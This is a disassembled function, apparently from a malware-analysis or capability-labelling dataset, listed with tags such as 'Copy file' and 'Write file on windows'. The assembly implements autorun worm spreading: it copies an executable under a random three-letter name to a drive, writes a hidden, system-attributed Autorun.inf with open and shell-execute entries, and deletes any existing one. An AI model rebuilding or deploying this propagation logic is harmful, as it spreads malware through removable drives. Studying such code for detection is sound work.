Function at 0x1000899a
Capabilities:
Copy file
Delete file
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
mov dword [ebp - 0x18], ecx
push esi
push edi
lea ecx, [ebp - 0x40]
call fcn.10001000
lea ecx, [ebp - 0x38]
call fcn.10001000
lea ecx, [ebp - 0x30]
call fcn.10001000
lea ecx, [ebp - 0x28]
call fcn.10001000
push dword [ebp + 8]
lea ecx, [ebp - 0x40]
call fcn.10001576
push dword [ebp + 8]
lea ecx, [ebp - 0x38]
call fcn.10001576
push str.Auto
lea ecx, [ebp - 0x38]
call fcn.1000171e
push str.Run.inf
lea ecx, [ebp - 0x38]
call fcn.1000171e
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x20
push dword [ebp - 0x34]
call esi
mov ebx, 0x80
push 0
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push 4
push 0
push 1
push SysReAllocString
push dword [ebp - 0x34]
call edi
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x10008b52
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
add eax, 2
push eax
call fcn.1000f5d0
pop ecx
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x20]
push 0
push ecx
push dword [ebp - 0xc]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
push eax
and byte [eax + ecx], 0
lea ecx, [ebp - 0x28]
call fcn.10001576
push dword [ebp - 0x10]
call fcn.1000f588
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.open
lea ecx, [ebp - 0x28]
call fcn.10001504
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
jle 0x10008b52
inc eax
lea ecx, [ebp - 0x28]
push eax
push 0x100171b4
call fcn.10001512
cmp eax, 0xffffffff
jle 0x10008b52
mov ecx, dword [ebp - 0x10]
sub eax, ecx
add ecx, 5
sub eax, 5
push eax
lea eax, [ebp - 0x14]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.10001766
push eax
lea ecx, [ebp - 0x28]
call fcn.10001553
lea ecx, [ebp - 0x14]
call fcn.10001171
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push dword [ebp + 8]
push eax
call fcn.100016d2
add esp, 0xc
lea ecx, [ebp - 0x28]
push eax
call fcn.10001553
lea ecx, [ebp - 0x14]
call fcn.10001171
push 0x20
push dword [ebp - 0x24]
call esi
push 0
push ebx
push 3
push 0
push 1
push 0xc0000000
push dword [ebp - 0x24]
call edi
lea ecx, [ebp - 0x48]
mov dword [ebp - 8], eax
push ecx
lea ecx, [ebp - 0x50]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x48], 0x92ee0c00
jne 0x10008b49
push 2
push dword [ebp - 0x24]
jmp 0x10008d46
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
push 0x100175b8
add eax, 0x34
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1000169b
add esp, 0xc
lea ecx, [ebp - 0x30]
push eax
call fcn.10001553
lea ecx, [ebp - 0x1c]
call fcn.10001171
push str..dat
lea ecx, [ebp - 0x30]
call fcn.1000171e
mov eax, dword [0x10019e20]
push 0x1a
xor edx, edx
pop ecx
div ecx
lea ecx, [ebp - 0x28]
mov byte [ebp - 1], dl
add dl, 0x61
push edx
call fcn.1000163a
movsx eax, byte [ebp - 1]
mov dword [ebp - 0x18], eax
add eax, 7
push 0x1a
cdq
pop ecx
idiv ecx
lea ecx, [ebp - 0x28]
add dl, 0x61
push edx
call fcn.10001730
mov eax, dword [ebp - 0x18]
push 0x1a
add eax, 0xe
pop ecx
cdq
idiv ecx
lea ecx, [ebp - 0x28]
add dl, 0x61
push edx
call fcn.10001730
push str..exe
lea ecx, [ebp - 0x28]
call fcn.1000171e
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.10001661
add esp, 0xc
lea ecx, [ebp - 0x38]
push eax
call fcn.10001553
lea ecx, [ebp - 0x1c]
call fcn.10001171
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10008d48
push 2
push dword [ebp - 0x34]
call esi
push dword [ebp + 8]
lea ecx, [ebp - 0x38]
call fcn.10001576
push str.Auto
lea ecx, [ebp - 0x38]
call fcn.1000171e
push str.Run.inf
lea ecx, [ebp - 0x38]
call fcn.1000171e
push 0x20
push dword [ebp - 0x34]
call esi
push 0
push ebx
push 2
push 0
push 1
push 0x40000000
push dword [ebp - 0x34]
call edi
mov edi, eax
cmp edi, 0xffffffff
je 0x10008d48
push str._Aut
lea ecx, [ebp - 0x30]
call fcn.10001576
push str.oRun__r_n
lea ecx, [ebp - 0x30]
call fcn.1000171e
push str.open
lea ecx, [ebp - 0x30]
call fcn.1000171e
mov ebx, 0x100171b4
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1000169b
add esp, 0xc
lea ecx, [ebp - 0x30]
push eax
call fcn.10001709
lea ecx, [ebp - 0x1c]
call fcn.10001171
push str.shell
lea ecx, [ebp - 0x30]
call fcn.1000171e
push str.execute
lea ecx, [ebp - 0x30]
call fcn.1000171e
lea eax, [ebp - 0x28]
push ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.1000169b
add esp, 0xc
lea ecx, [ebp - 0x30]
push eax
call fcn.10001709
lea ecx, [ebp - 0x1c]
call fcn.10001171
push str.shellAu
lea ecx, [ebp - 0x30]
call fcn.1000171e
push str.tocommand
lea ecx, [ebp - 0x30]
call fcn.1000171e
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x30]
push eax
call fcn.10001709
mov ebx, dword [ebp - 0x2c]
lea eax, [ebp + 8]
push 0
push eax
lea ecx, [ebp - 0x30]
call fcn.100013e2
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push dword [ebp - 0x34]
call esi
lea ecx, [ebp - 0x28]
call fcn.10001171
lea ecx, [ebp - 0x30]
call fcn.10001171
lea ecx, [ebp - 0x38]
call fcn.10001171
lea ecx, [ebp - 0x40]
call fcn.10001171
pop edi
pop esi
pop ebx
leave
ret 4